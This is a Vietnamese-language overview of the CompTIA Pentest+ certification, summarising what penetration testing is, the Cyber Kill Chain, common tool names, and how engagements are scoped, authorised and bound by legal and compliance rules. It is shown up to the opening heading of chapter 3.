Bài Giảng Tổng Quan CompTIA Pentest+

Bài giảng được biên soạn dựa trên giáo trình CompTAI Pentest+ do Security365 biên soạn (lưu ý giáo trình là tổng hợp từ nhiều nguồn khác nhau). Các bạn có thể đăng kí giáo trình tại đây. Các học viên đăng kí khóa học Thực Chiến CompTAI Pentest+ sẽ được giả giá giáo trình và CertMaster lab

Đây là tài liệu biên soạn cho khóa học thực chiến trên CertMaster Lab CompTIA Pentest+ PT0-003. Ý nghĩa của tên gọi là các bạn sẽ tập trung vào vấn đề thực hành hoàn toàn trên lab rất “chiến” của chính hãng có trị giá 482 USD. Đây là mô hình lab thực chiến tuyệt vời không những hướng dẫn các bạn lab từng bước mà còn đưa ra tình huống thực tế, mô phỏng để có thể áp dụng công việc.

Quy trình học các bạn cần nghe đầy đủ 12 bài giảng, đọc sách tham khảo và bắt tay làm lab theo hướng dẫn hand-on trên lab (instructor sẽ hỗ trợ qua nhóm học tập , các bạn chỉ cần thảo luận các vấn đề mình gặp phải còn các bài học hay buổi học mang tính định hướng để các bạn thực hành). Sau đây là tóm tắt tổng quan PENTEST+

Chương 1 – Kiểm Thử Thâm Nhập Là gì ? Chương này cung cấp một cái nhìn tổng quan toàn diện về Kiểm thử Thâm nhập (Penetration Testing), bao gồm định nghĩa, lý do thực hiện, các mô hình bảo mật và tấn công cốt lõi (bộ ba CIA và DAD), tư duy của hacker, các giai đoạn của một cuộc kiểm thử thâm nhập theo CompTIA, mô hình Cyber Kill Chain, và các công cụ chuyên dụng.

1. Kiểm thử Thâm nhập là gì?

Kiểm thử thâm nhập là những nỗ lực hợp pháp, được ủy quyền để đánh bại các biện pháp kiểm soát bảo mật của tổ chức và thực hiện các hoạt động trái phép. Nó thu hẹp khoảng cách giữa việc sử dụng công cụ kỹ thuật và sức mạnh của chúng trong tay một kẻ tấn công có kỹ năng. Mục tiêu là cung cấp cái nhìn toàn cảnh về lỗ hổng bảo mật của một tổ chức.

Tài liệu nhấn mạnh rằng “Công cụ quan trọng nhất được những kẻ tấn công sử dụng là thứ mà các chuyên gia an ninh mạng không thể tải xuống hoặc mua. Đó là sức mạnh và sự sáng tạo của trí óc con người.” Các công cụ tự động chỉ là một phần trong bộ công cụ của hacker.

2. Các Mục tiêu An ninh mạng và Mục tiêu của Kẻ tấn công

An ninh mạng được xây dựng trên mô hình Bộ ba CIA (Confidentiality, Integrity, Availability):

  • Confidentiality (Bảo mật): Ngăn chặn truy cập trái phép vào thông tin hoặc hệ thống.
  • Integrity (Toàn vẹn): Ngăn chặn việc sửa đổi trái phép thông tin hoặc hệ thống.
  • Availability (Sẵn sàng): Đảm bảo việc sử dụng hợp pháp thông tin và hệ thống vẫn có thể thực hiện được.

Kẻ tấn công tìm cách phá hoại các mục tiêu này bằng cách đạt được các mục tiêu của Bộ ba DAD (Disclosure, Alteration, Denial):

  • Disclosure (Tiết lộ): Truy cập trái phép vào thông tin hoặc hệ thống.
  • Alteration (Thay đổi): Thay đổi trái phép thông tin hoặc hệ thống.
  • Denial (Từ chối): Ngăn chặn việc sử dụng hợp pháp thông tin và hệ thống.

Hai mô hình này tương quan trực tiếp, với mỗi yếu tố của DAD đối ứng với một yếu tố của CIA.

3. Áp dụng Tư duy của Hacker (Adopting the Hacker Mind-Set)

Để tìm ra các lỗ hổng, người kiểm thử thâm nhập phải “suy nghĩ giống như kẻ thù có thể tấn công hệ thống trong thế giới thực.” Khác với các chuyên gia an ninh mạng cố gắng bảo vệ khỏi mọi mối đe dọa, người kiểm thử thâm nhập chỉ cần tìm “một lỗ hổng duy nhất mà họ có thể khai thác để đạt được mục tiêu của mình.”

Một hệ quả quan trọng của tư duy hacker là: “Kẻ tấn công chỉ cần chiến thắng một lần. Họ có thể cố gắng thực hiện hàng trăm hoặc hàng nghìn cuộc tấn công tiềm năng chống lại một mục tiêu. Thực tế là các biện pháp bảo vệ an ninh của một tổ chức chặn 99,99% các cuộc tấn công đó là không liên quan nếu một trong các cuộc tấn công thành công. Các chuyên gia an ninh mạng luôn cần chiến thắng. Kẻ tấn công chỉ cần thắng một lần.”

4. Lý do thực hiện Kiểm thử Thâm nhập

Kiểm thử thâm nhập cung cấp khả năng hiển thị về tư thế bảo mật mà các phương tiện khác không có được. Nó bổ sung và xây dựng dựa trên các nỗ lực an ninh mạng khác. Lợi ích chính:

  • Cung cấp kiến thức độc đáo: Cho biết liệu một kẻ tấn công có kỹ năng tương đương có thể xâm nhập được hệ thống phòng thủ hay không.
  • Cung cấp bản thiết kế khắc phục: Theo dõi hành động của người kiểm thử để đóng các “cánh cửa mở” mà họ đã đi qua, củng cố phòng thủ.
  • Thông tin tập trung về mục tiêu tấn công cụ thể: Giúp xác định và khắc phục lỗ hổng trước khi triển khai hệ thống mới.

Săn lùng mối đe dọa (Threat Hunting): Liên quan chặt chẽ nhưng có mục đích khác. Threat hunting giả định rằng kẻ tấn công đã xâm nhập thành công (“giả định về sự thỏa hiệp”) và tìm kiếm bằng chứng của các cuộc tấn công thành công để sau đó khắc phục và phân tích nguyên nhân.

Yêu cầu Quy định (Regulatory Requirements): Lý do cuối cùng là các quy định yêu cầu. Nổi bật nhất là PCI DSS (Payment Card Industry Data Security Standard), Yêu cầu 11.3, yêu cầu các tổ chức xử lý giao dịch thẻ tín dụng phải thực hiện kiểm thử thâm nhập thường xuyên và theo các phương pháp được ngành chấp nhận (ví dụ: NIST SP800-115). PCI DSS cũng quy định tần suất và phạm vi của các cuộc kiểm thử (ít nhất hàng năm, sau các nâng cấp/sửa đổi quan trọng, kiểm thử cả từ bên trong và bên ngoài, xác minh phân đoạn).

5. Ai thực hiện Kiểm thử Thâm nhập?

Các cuộc kiểm thử thâm nhập có thể được thực hiện bởi các nhóm nội bộ hoặc bên ngoài.

  • Nhóm Kiểm thử Thâm nhập Nội bộ:Ưu điểm: Có kiến thức ngữ cảnh về tổ chức, thường ít tốn kém hơn.
  • Nhược điểm: Thiếu tính độc lập (có thể có xu hướng chứng minh các biện pháp kiểm soát của họ an toàn), có thể bị hạn chế do thiếu tính độc lập. Nên tách biệt tổ chức với nhóm thiết kế và vận hành bảo mật.
  • Nhóm Kiểm thử Thâm nhập Bên ngoài:Ưu điểm: Thường có kỹ năng cao hơn (do thực hiện kiểm thử hàng ngày), mang lại mức độ độc lập cao hơn.
  • Nhược điểm: Có thể tốn kém hơn, cần đảm bảo không thuê các chuyên gia đã giúp thiết kế hệ thống để tránh xung đột lợi ích.

Khi nào cần thực hiện kiểm thử: Kiểm thử thâm nhập không phải là một quá trình một lần. Cần lặp lại định kỳ vì:

  1. Môi trường công nghệ thay đổi liên tục (vá lỗi, cập nhật, sửa đổi).
  2. Các kỹ thuật tấn công phát triển theo thời gian.
  3. Các thành viên nhóm khác nhau mang đến bộ kỹ năng và góc nhìn mới mẻ. Nên luân phiên các thành viên nhóm.

6. Quy trình Kiểm thử Thâm nhập của CompTIA

CompTIA PenTest+ chia quá trình kiểm thử thâm nhập thành bốn giai đoạn cụ thể:

  1. Lập kế hoạch và Xác định phạm vi (Planning and Scoping): Giai đoạn quan trọng nhất, thiết lập các quy tắc rõ ràng, xác định hệ thống và dữ liệu trong phạm vi kiểm thử, đảm bảo tính hợp pháp và đáp ứng kỳ vọng của khách hàng.
  2. Thu thập thông tin và Xác định lỗ hổng (Information Gathering and Vulnerability Identification): Giai đoạn trinh sát, thu thập thông tin về môi trường mục tiêu và xác định các lỗ hổng. Đây là “bản đồ lộ trình” cho phần còn lại của kiểm thử. Bao gồm sử dụng OSINT (Open-Source Intelligence) và quét lỗ hổng.
  3. Tấn công và Khai thác (Attacking and Exploiting): Sử dụng các kỹ thuật tấn công để khai thác các lỗ hổng đã phát hiện, cố gắng thâm nhập sâu nhất có thể vào mạng, duy trì trong giới hạn quy định. Bao gồm tấn công kỹ thuật xã hội, khai thác mạng, ứng dụng, máy chủ và các lỗ hổng vật lý.
  4. Báo cáo và Truyền đạt kết quả (Reporting and Communicating Results): Giai đoạn cuối cùng, cung cấp thông tin hữu ích cho khách hàng dưới dạng các khuyến nghị rõ ràng, có thể hành động để triển khai các biện pháp kiểm soát bảo mật mới và tăng cường các biện pháp hiện có.

7. Cyber Kill Chain

Mô hình Cyber Kill Chain của Lockheed Martin mô tả cách những kẻ tấn công tinh vi tổ chức công việc của họ qua bảy giai đoạn, mở rộng giai đoạn “Thu thập thông tin và Xác định lỗ hổng” cùng với “Tấn công và Khai thác” của mô hình CompTIA:

  1. Reconnaissance (Trinh sát): Thu thập thông tin tình báo nguồn mở và quét môi trường mục tiêu để phát hiện các cách khai thác tiềm năng.
  2. Weaponization (Vũ khí hóa): Phát triển một công cụ tấn công cụ thể (ví dụ: phần mềm độc hại) để khai thác các lỗ hổng đã xác định.
  3. Delivery (Phân phối): Đưa vũ khí phần mềm độc hại đến mục tiêu (ví dụ: qua khai thác mạng/ứng dụng, kỹ thuật xã hội, email).
  4. Exploitation (Khai thác): Kích hoạt tải trọng của phần mềm độc hại để có quyền truy cập vào hệ thống mục tiêu.
  5. Installation (Cài đặt): Thiết lập quyền truy cập vĩnh viễn hoặc liên tục vào hệ thống mục tiêu (tạo cửa hậu, mục đăng ký, web shell).
  6. Command and Control (C2C – Chỉ huy và Kiểm soát): Điều khiển từ xa hệ thống bị xâm nhập (qua shell hoặc mạng C2C tự động).
  7. Actions on Objectives (Hành động theo Mục tiêu): Sử dụng hệ thống bị xâm nhập để đạt được các mục tiêu ban đầu của cuộc tấn công (ví dụ: đánh cắp thông tin, sử dụng tài nguyên máy tính trái phép, sửa đổi/xóa thông tin).

Mô hình này minh họa rằng “Tai nạn không xảy ra do một lần hỏng hóc. Chúng xảy ra là kết quả của một loạt các sự kiện bất ngờ.” – Chuỗi giết người trên mạng cho thấy nhiều giai đoạn thất bại phải xảy ra trước khi một vi phạm thành công.

8. Các Công cụ của Nghề (Tools of the Trade)

Người kiểm thử thâm nhập sử dụng nhiều công cụ khác nhau, nhiều trong số đó cũng được sử dụng bởi các chuyên gia an ninh mạng, hacker, kỹ sư mạng, quản trị viên hệ thống và nhà phát triển phần mềm. Kỳ thi PenTest+ yêu cầu thí sinh hiểu mục đích và các trường hợp sử dụng khác nhau của hơn 50 công cụ, chứ không phải chuyên sâu về từng nhà cung cấp.

Các danh mục công cụ chính bao gồm:

  • Reconnaissance (Trinh sát):OSINT: WHOIS, Nslookup, theHarvester, Recon-ng, Censys, FOCA, Shodan, Maltego.
  • Quét mạng: Nmap (đặc biệt quan trọng về cú pháp và tùy chọn).
  • Vulnerability Scanners (Máy quét lỗ hổng): Nessus, OpenVAS, Sqlmap, Nikto, W3AF.
  • Social Engineering (Kỹ thuật xã hội): The Social Engineer Toolkit (SET), Browser Exploitation Framework (BeEF).
  • Credential-Testing Tools (Công cụ kiểm tra thông tin xác thực): Hashcat, John the Ripper, Hydra, Medusa, Patator, Cain and Abel (bẻ khóa mật khẩu); CeWL (tạo danh sách từ); Mimikatz (truy xuất thông tin ủy nhiệm từ bộ nhớ Windows); DirBuster (liệt kê tệp/thư mục trên máy chủ web).
  • Debuggers (Trình gỡ lỗi): Immunity Debugger, GDB, OllyDbg, WinDbg, IDA.
  • Mobile Security Tools (Công cụ bảo mật di động): Drozer, APKX, APK Studio.
  • Software Assurance (Đảm bảo phần mềm): FindBugs, find-sec-bug, Peach, AFL, SonarQube, YASCA.
  • Network Testing (Kiểm tra mạng): Wireshark, Hping, Aircrack-ng, WiFite, Kismet.
  • Remote Access (Truy cập từ xa): Secure Shell (SSH), Ncat, NETCAT, Proxychains.
  • Exploitation (Khai thác): Metasploit, SearchSploit, PowerSploit, Empire, Responder, Impacket.

Như vậy, kiểm thử thâm nhập là một hoạt động chiến lược cho phép các tổ chức chủ động đánh giá và củng cố tư thế bảo mật của mình bằng cách suy nghĩ và hành động như một kẻ tấn công, tuân thủ một quy trình có cấu trúc và sử dụng các công cụ chuyên dụng.

Chương 2 Lập Kế Hoạch và Định Phạm Vi Thử Nghiệm Thâm Nhập : Tổng quan về Lập kế hoạch và Xác định phạm vi kiểm tra thâm nhập (Penetration Test Planning and Scoping). Chương 2 tập trung vào việc chuẩn bị, lập kế hoạch và xác định phạm vi của một bài kiểm tra thâm nhập (pentest), phù hợp với mục tiêu của kỳ thi chứng chỉ CompTIA PenTest+. Nó nhấn mạnh sự cần thiết của việc hiểu rõ các loại đánh giá, quy tắc tương tác, tài nguyên và các yếu tố khác mà người kiểm tra có thể gặp phải.

1. Xác định phạm vi và Lập kế hoạch cam kết (Scoping and Planning Engagements)

Bước đầu tiên và quan trọng nhất trong hầu hết các cam kết kiểm tra thâm nhập là xác định phạm vi đánh giá. Phạm vi này sẽ quy định những gì người kiểm tra thâm nhập sẽ làm và thời gian của họ sẽ được sử dụng như thế nào.

Để xác định phạm vi hiệu quả, người kiểm tra cần làm việc chặt chẽ với tổ chức mục tiêu để hiểu rõ các yếu tố sau:

  • Mục đích kiểm tra: “tại sao công tác kiểm tra này được thực hiện; liệu các yêu cầu cụ thể như tuân thủ hoặc nhu cầu kinh doanh có đang thúc đẩy bài kiểm tra hay không”.
  • Hệ thống, mạng, dịch vụ: Những gì nên được kiểm tra và khi nào.
  • Thông tin truy cập: Thông tin nào có thể và không thể truy cập trong quá trình kiểm tra.
  • Quy tắc tham gia (Rules of Engagement – RoE): Các kỹ thuật được phép hoặc bị cấm.
  • Báo cáo cuối cùng: Ai sẽ nhận được báo cáo cuối cùng.

Tài liệu “Tiêu chuẩn thực thi kiểm tra thâm nhập” tại http://www.pentest-standard.org được khuyến nghị là một nguồn tài nguyên tuyệt vời, bao gồm các tương tác trước khi tham gia, thu thập thông tin tình báo, mô hình hóa mối đe dọa, phân tích lỗ hổng, khai thác, hậu khai thác và báo cáo.

2. Các loại đánh giá (Assessment Types)

Tài liệu mô tả ba loại đánh giá chính:

  • Đánh giá dựa trên mục tiêu (Goals-based or objectives-based assessments): Được thực hiện vì các lý do cụ thể, ví dụ: “xác thực thiết kế bảo mật mới, thử nghiệm ứng dụng hoặc dịch vụ cơ sở hạ tầng trước khi nó đi vào sản xuất và đánh giá tính bảo mật của tổ chức mà gần đây đã được mua lại.”
  • Đánh giá dựa trên sự tuân thủ (Compliance-based assessments): Được thiết kế theo mục tiêu tuân thủ các luật, tiêu chuẩn hoặc hướng dẫn (ví dụ: PCI DSS). Loại đánh giá này có thể yêu cầu nhà cung cấp hoặc người đánh giá được chứng nhận cụ thể.
  • Đánh giá của Đội đỏ (Red-team assessments): “thường nhắm mục tiêu hơn các bài kiểm tra thâm nhập thông thường. Đội đỏ cố gắng hành động như một kẻ tấn công, nhắm mục tiêu vào dữ liệu hoặc hệ thống nhạy cảm với mục tiêu thu thập dữ liệu và truy cập.” Không giống như các loại kiểm tra khác, đánh giá của Đội đỏ không nhằm cung cấp thông tin chi tiết về tất cả các lỗi bảo mật mà mục tiêu mắc phải, mà tập trung vào việc kiểm tra hiệu quả của chương trình bảo mật và có thể rất hữu ích cho đào tạo phản ứng sự cố hoặc xác nhận thiết kế bảo mật.
  • Đội xanh (blue team): Là những người phòng thủ hoạt động chống lại đội đỏ hoặc kẻ tấn công thực sự.
  • Tài liệu cũng đề cập đến các đội màu khác như đội tím (tích hợp nỗ lực của đội đỏ và xanh), đội trắng (kiểm soát môi trường trong một bài tập) và đội vàng (giải quyết vấn đề khắc phục lỗ hổng lâu dài hoặc đóng vai trò huấn luyện).

3. White Box, Black Box, or Gray Box? (Mức độ kiến thức của người kiểm tra về môi trường)

Mức độ hiểu biết của người kiểm tra về môi trường mục tiêu là một yếu tố quyết định trong kế hoạch kiểm tra:

  • Kiểm tra hộp trắng (White box tests): “đôi khi được gọi là bài kiểm tra ‘hộp tinh thể’ hoặc bài kiểm tra ‘kiến thức đầy đủ’”, được thực hiện với đầy đủ kiến thức về công nghệ, cấu hình, sơ đồ mạng, danh sách hệ thống, phạm vi mạng IP và thậm chí cả thông tin đăng nhập. Loại này hiệu quả và toàn diện hơn nhưng có thể không phản ánh chính xác góc nhìn của kẻ tấn công bên ngoài.
  • Kiểm tra hộp đen (Black box tests): “đôi khi được gọi là kiểm tra ‘không có kiến thức’”, nhằm tái tạo trải nghiệm của kẻ tấn công. Người kiểm tra không được cung cấp quyền truy cập hoặc thông tin và phải tự thu thập thông tin, phát hiện lỗ hổng. Loại này tốn thời gian hơn nhưng có thể tiết lộ những lỗ hổng mà kẻ tấn công không có kiến thức sẽ khai thác.
  • Kiểm tra hộp màu xám (Gray box tests): “là sự pha trộn giữa thử nghiệm hộp đen và hộp trắng.” Cung cấp một số thông tin nhưng không đầy đủ, giúp tập trung nỗ lực đồng thời cung cấp cái nhìn chính xác hơn về những gì kẻ tấn công thực sự sẽ gặp phải.

4. Hiểu đối thủ của bạn (Understanding Your adversaries)

Khi thực hiện kiểm tra hộp đen, việc đầu tiên là xác định “Ai sẽ tấn công chúng ta và tại sao?”. Các tác nhân đe dọa được đánh giá theo năng lực, từ “script kiddies” và “casual hacker” (sử dụng công cụ dựng sẵn) đến “tin tặc chuyên nghiệp, tội phạm có tổ chức và những kẻ tấn công cấp quốc gia như các mối đe dọa dai dẳng nâng cao (APT)”. Mỗi loại đối thủ có mục đích khác nhau, từ chính trị/xã hội đến lợi nhuận hoặc mục tiêu cấp quốc gia.

5. Các quy tắc của sự tham gia (The Rules of Engagement – RoE)

Sau khi xác định loại đánh giá và mức độ kiến thức, RoE sẽ được viết. Các yếu tố chính của RoE bao gồm:

  • Lịch trình: Khi nào có thể tiến hành kiểm tra (ví dụ: ngoài giờ làm việc để giảm thiểu tác động).
  • Phạm vi: Vị trí, hệ thống, ứng dụng hoặc các mục tiêu tiềm năng được bao gồm hoặc loại trừ. Thảo luận về các nhà cung cấp bên thứ ba có thể bị ảnh hưởng.
  • Yêu cầu xử lý dữ liệu: Cách xử lý thông tin thu thập được, đặc biệt là dữ liệu nhạy cảm (ví dụ: PHI không thể tiết lộ hợp pháp). Yêu cầu bảo mật dữ liệu (mã hóa) và xử lý sau khi kết thúc hợp đồng.
  • Hành vi mong đợi từ mục tiêu: Liệu hành vi phòng thủ như tránh né, đưa vào danh sách đen có được cho phép hay không.
  • Tài nguyên cam kết: Thời gian cam kết từ quản trị viên, nhà phát triển, v.v., đặc biệt quan trọng với kiểm tra hộp trắng và hộp xám.
  • Mối quan tâm pháp lý: Tóm tắt bất kỳ mối quan tâm pháp lý nào ảnh hưởng đến tổ chức, địa điểm xa, nhà cung cấp dịch vụ trong phạm vi.
  • Thông tin liên lạc: Khi nào và cách thức liên lạc sẽ diễn ra (cập nhật hàng ngày/hàng tuần hay chỉ khi hoàn thành).
  • Liên hệ khẩn cấp: Ai sẽ được liên hệ trong trường hợp có sự cố cụ thể (bằng chứng thỏa hiệp, vi phạm RoE, lỗ hổng nghiêm trọng).
  • Người được phép tham gia vào đội ngũ: Ai được phép yêu cầu cập nhật.

6. Sự cho phép (Permission)

“Trước khi bạn lập kế hoạch (và đặc biệt là trước khi bạn thực hiện) một bài kiểm tra thâm nhập, bạn phải có sự cho phép thích hợp.” Điều này cần được ghi lại dưới dạng “một thỏa thuận đã ký, một bản ghi nhớ từ quản lý cấp cao hoặc thẻ ‘ra tù miễn phí’ tương tự từ một người hoặc nhiều người trong tổ chức mục tiêu có quyền cấp phép cho bạn.”

Các thỏa thuận xác định phạm vi và RoE phải ghi lại cả những hạn chế của bài kiểm tra và các tuyên bố từ chối trách nhiệm về hiệu lực của bài kiểm tra tại thời điểm tiến hành và tác động của phạm vi/phương pháp luận đối với tính toàn diện.

7. Xử lý và giải quyết vấn đề (Incident Handling and Resolution)

Có một “đường dẫn liên lạc, thông báo và leo thang được xác định rõ ràng trên cả hai bên” là rất quan trọng để giảm thiểu thời gian ngừng hoạt động và các vấn đề khác nếu sự cố xảy ra. Người kiểm tra nên ghi lại cẩn thận trách nhiệm và giới hạn trách nhiệm của họ.

8. Cân nhắc xác định phạm vi: Lặn sâu hơn (Scoping Considerations: A Deeper Dive)

Việc xác định phạm vi chi tiết có thể phức tạp, đòi hỏi kiến trúc, luồng dữ liệu và tài liệu hệ thống chính xác. Các cân nhắc bao gồm:

  • Mục tiêu chấp nhận được: Vị trí lưu trữ (nội bộ/bên ngoài, tại chỗ/ngoài trang web), loại máy chủ (ảo/vật lý), và tác động đến đánh giá.
  • Ứng dụng, dịch vụ, hạ tầng hỗ trợ: Xác định những gì nằm trong phạm vi, bao gồm cả các yếu tố không trực tiếp liên quan đến mục tiêu chính nhưng cần thiết để tiếp cận (ví dụ: hạ tầng quản trị mạng).
  • Tài khoản người dùng và tài khoản đặc quyền: Xác định tài khoản nào nằm trong phạm vi.
  • Mạng không dây và có dây: Biết SSID, mạng con hoặc dải IP nào nằm trong phạm vi để tránh nhắm mục tiêu bên thứ ba.
  • Ghi nhật ký cẩn thận: “Điều quan trọng là phải lưu giữ nhật ký cẩn thận về các hành động bạn thực hiện trong khi tiến hành kiểm tra thâm nhập.” để chứng minh những gì đang xảy ra nếu sự cố xảy ra.
  • Khả năng chấp nhận rủi ro và chính sách công ty: Thảo luận về việc tổ chức có sẵn sàng chấp nhận rủi ro ngừng hoạt động hoặc gián đoạn dịch vụ hay không, và khả năng chịu tác động của họ.
  • Kiểm tra trước sáp nhập và chuỗi cung ứng: Các tình huống kinh doanh cụ thể có thể yêu cầu kiểm tra thâm nhập (đánh giá khả năng bảo mật của công ty được mua lại hoặc kiểm tra biện pháp kiểm soát an ninh của nhà cung cấp).
  • Rủi ro phạm vi (Scope creep): Việc bổ sung các mục tiêu mới ngoài phạm vi ban đầu là một nguy hiểm thường xuyên. Cần có kế hoạch xử lý (giữ nguyên phạm vi, công việc tiếp theo, ước tính mới).

9. Tài nguyên hỗ trợ cho các bài kiểm tra thâm nhập (Supporting Resources for Penetration Tests)

Người kiểm tra có thể tận dụng tài liệu nội bộ của tổ chức mục tiêu:

  • Tài liệu XML: Ví dụ như WSDL, WADL, SOAP, có thể cung cấp thông tin về định nghĩa dịch vụ và cấu trúc dữ liệu.
  • Tài liệu API: Mô tả cách các thành phần phần mềm giao tiếp, bao gồm các công cụ như Swagger, Apiary và RAML.
  • SDKs (Software Development Kits): Cung cấp tài liệu và có thể là công cụ để kiểm tra ứng dụng và dịch vụ.
  • Tài liệu nội bộ khác: Yêu cầu ứng dụng mẫu, ví dụ API, hoặc mã hữu ích.
  • Sơ đồ kiến trúc, sơ đồ luồng dữ liệu, tài liệu thiết kế hệ thống: Cung cấp hiểu biết về các mục tiêu tiềm năng, cách chúng giao tiếp và chi tiết cấu hình.
  • Tệp cấu hình: Có thể chứa thông tin nhạy cảm như tài khoản, địa chỉ IP, mật khẩu hoặc khóa API.

10. Quyền truy cập và Tài khoản (Access and Accounts)

Các ngoại lệ bảo mật phổ biến cho kiểm tra hộp trắng bao gồm:

  • Danh sách trắng (Whitelisting): Người kiểm tra được đưa vào danh sách trắng trong IPS, WAF và các thiết bị bảo mật khác để tránh bị chặn.
  • Ngoại lệ bảo mật lớp mạng: Cho phép bỏ qua kiểm soát truy cập mạng (NAC).
  • Bỏ qua hoặc tắt ghim chứng chỉ (certificate pinning): Ghim chứng chỉ liên kết máy chủ với chứng chỉ X.509, có thể gây ra vấn đề nếu có proxy DLP chặn lưu lượng.
  • Truy cập tài khoản người dùng và tài khoản đặc quyền: Quan trọng cho sự thành công của kiểm tra.
  • Truy cập vật lý: Một trong những công cụ mạnh mẽ nhất.
  • Truy cập mạng: Tại chỗ, qua VPN hoặc các phương pháp khác đến từng phân đoạn mạng hoặc vùng được bảo vệ.

11. Ngân sách (Budget)

Ngân sách là một phần quan trọng của quy trình kinh doanh. “Ngân sách cần thiết để hoàn thành thử nghiệm thâm nhập được xác định bởi phạm vi và quy tắc tham gia”. Đối với người kiểm tra nội bộ, ngân sách là việc phân bổ thời gian. Đối với người kiểm tra bên ngoài, nó bao gồm số giờ ước tính, quy mô nhóm, vật liệu, bảo hiểm và các chi phí khác.

12. Các khái niệm pháp lý chính cho Kiểm tra thâm nhập (Key Legal Concepts for Penetration Tests)

Người kiểm tra thâm nhập cần hiểu bối cảnh pháp lý xung quanh công việc của họ:

  • Hợp đồng (Contracts): Ghi lại thỏa thuận giữa người kiểm tra và khách hàng. Có thể là hợp đồng đơn lẻ, Tuyên bố công việc (Statement of Work – SOW), Tuyên bố về mục tiêu (Statements of Objectives – SOO), Tuyên bố về hiệu suất công việc (Performance Work Statements – PWS).
  • Thỏa thuận dịch vụ chính (Master Service Agreement – MSA): Xác định các điều khoản cho công việc trong tương lai, làm cho các cam kết liên tục và SOW dễ thực hiện hơn.
  • Thỏa thuận không tiết lộ (Non-Disclosure Agreements – NDA) hoặc Thỏa thuận bảo mật (Confidentiality Agreements – CA): Văn bản pháp lý giúp thực thi các mối quan hệ bí mật, bảo vệ thông tin.
  • Thỏa thuận không cạnh tranh (Noncompete Agreements): Yêu cầu không làm việc cho đối thủ cạnh tranh hoặc cạnh tranh trực tiếp với chủ lao động cũ trong một khoảng thời gian nhất định (thường do chủ lao động yêu cầu).
  • Quyền sở hữu và lưu giữ dữ liệu (Data Ownership and Retention): Xác định ai sở hữu dữ liệu thu thập được sau khi kiểm tra, cách lưu trữ và bảo mật, và cách xử lý sau khi hợp đồng kết thúc. Dữ liệu này có thể bao gồm thông tin nhạy cảm và báo cáo phát hiện.
  • Ủy quyền (Authorization): Kiểm tra thâm nhập yêu cầu sự cho phép thích hợp và chữ ký của cơ quan ký hợp đồng.
  • Ủy quyền của bên thứ ba (Third-Party Authorization): Cần sự cho phép bổ sung nếu kiểm tra liên quan đến cơ sở hạ tầng CNTT phức tạp được lưu trữ bởi các nhà cung cấp bên thứ ba (ví dụ: SaaS, PaaS, IaaS).
  • Sự khác biệt về Môi trường (Environmental Differences): Các luật và quy định khác nhau trên khắp thế giới (và giữa các bang/khu vực tài phán).
  • Đạo luật Lạm dụng Máy tính của Vương quốc Anh (Computer Misuse Act – CMA) 1990: Bao gồm các hình phạt hình sự đối với việc truy cập trái phép hoặc làm suy yếu hệ thống.
  • Luật pháp Đức (Mục 202c Bộ luật Hình sự): Có thể coi việc tạo, sở hữu hoặc phân phối phần mềm an ninh máy tính là tội phạm nếu nó có thể được sử dụng để phạm tội mạng, dù mục đích của người tạo/phân phối là gì. Điều này có thể ảnh hưởng đến các công cụ pentest hợp pháp.
  • Hạn chế xuất khẩu: Một số công cụ mã hóa bị cấm xuất khẩu từ Hoa Kỳ theo Quy định Quản lý Xuất khẩu (EAR).
  • Địa điểm (Venue) và Quyền hạn (Jurisdiction): Nơi các hành động pháp lý sẽ xảy ra và thẩm quyền của luật pháp đối với một khu vực.

13. Hiểu về đánh giá sự tuân thủ (Understanding Compliance-Based Assessments)

Các đánh giá dựa trên sự tuân thủ được thúc đẩy bởi các luật và quy định như HIPAA, FERPA, SOX, GLBA và PCI DSS. Chúng có thể có các yêu cầu đặc biệt:

  • Quy tắc hoàn thành đánh giá do tiêu chuẩn tuân thủ đặt ra: Ví dụ: PCI DSS cung cấp hướng dẫn cụ thể về kiểm tra thâm nhập môi trường dữ liệu chủ thẻ (CDE), bao gồm chu vi đối mặt với công chúng và các bề mặt tấn công LAN-to-LAN.
  • Chính sách mật khẩu (Password policies): Là một phần quan trọng của RoE và xác định phạm vi.
  • Tính năng cô lập dữ liệu (Data isolation): Quan trọng khi các hệ thống tuân thủ yêu cầu được duy trì tách biệt với các yếu tố khác của cơ sở hạ tầng.
  • Thử nghiệm quản lý khóa (Key management testing): Có thể được yêu cầu để đáp ứng các tiêu chuẩn như FIPS 140-2.
  • Truy cập mạng hạn chế và truy cập bộ nhớ hạn chế: Phổ biến trong các đánh giá tuân thủ (ví dụ: PCI DSS thường cô lập hệ thống xử lý thẻ trên một mạng riêng biệt).

Các luật và tiêu chuẩn chính thúc đẩy các đánh giá tuân thủ:

  • HIPAA (Health Insurance Portability and Accountability Act of 1996): Không trực tiếp yêu cầu pentest nhưng yêu cầu phân tích rủi ro, điều này thúc đẩy việc kiểm tra các biện pháp bảo mật. NIST cũng khuyến nghị pentest là một phần của đánh giá.
  • GLBA (Gramm-Leach-Bliley Act): Quy định cách các tổ chức tài chính xử lý thông tin cá nhân. Yêu cầu kế hoạch bảo mật thông tin bằng văn bản và kiểm tra/giám sát nỗ lực. Pentest thường là một phần để bảo vệ khỏi “các mối đe dọa được dự đoán một cách hợp lý”.
  • SOX (Sarbanes-Oxley Act): Thiết lập tiêu chuẩn cho hội đồng quản trị, quản lý và kế toán của các công ty đại chúng. Yêu cầu đánh giá hàng năm các biện pháp kiểm soát và thủ tục, điều này có khả năng thúc đẩy pentest.
  • PCI DSS (Payment Card Industry Data Security Standard): Một tiêu chuẩn công nghiệp về bảo mật do ngành thẻ tín dụng tạo ra, cung cấp hướng dẫn chi tiết về kiểm tra thâm nhập.
  • FIPS 140-2 (Federal Information Processing Standard 140-2): Một tiêu chuẩn bảo mật máy tính của chính phủ Hoa Kỳ cho các mô-đun mật mã được phê duyệt.

Tóm lại, việc lập kế hoạch và xác định phạm vi là nền tảng của mọi hoạt động kiểm tra thâm nhập, đòi hỏi sự hiểu biết sâu sắc về mục tiêu, quy tắc tương tác, loại đánh giá, các cân nhắc kỹ thuật, tài chính, và đặc biệt là các yêu cầu pháp lý và tuân thủ liên quan.

Chương 3: Thu thập thông tin và Nhận dạng lỗ hổng bảo mật trong Thử nghiệm Thâm nhập

Chương 3 của CompTIA Pentest+ tổng hợp các phương pháp và công cụ chính được sử dụng trong giai đoạn thu thập thông tin và nhận dạng lỗ hổng bảo mật của một thử nghiệm thâm nhập, như được mô tả trong “Chương 3: Thu thập thông tin” từ Viện Đào tạo An toàn Thông tin SECURITY365 và các nguồn liên quan.

1. Mục tiêu và Tổng quan về Thu thập thông tin

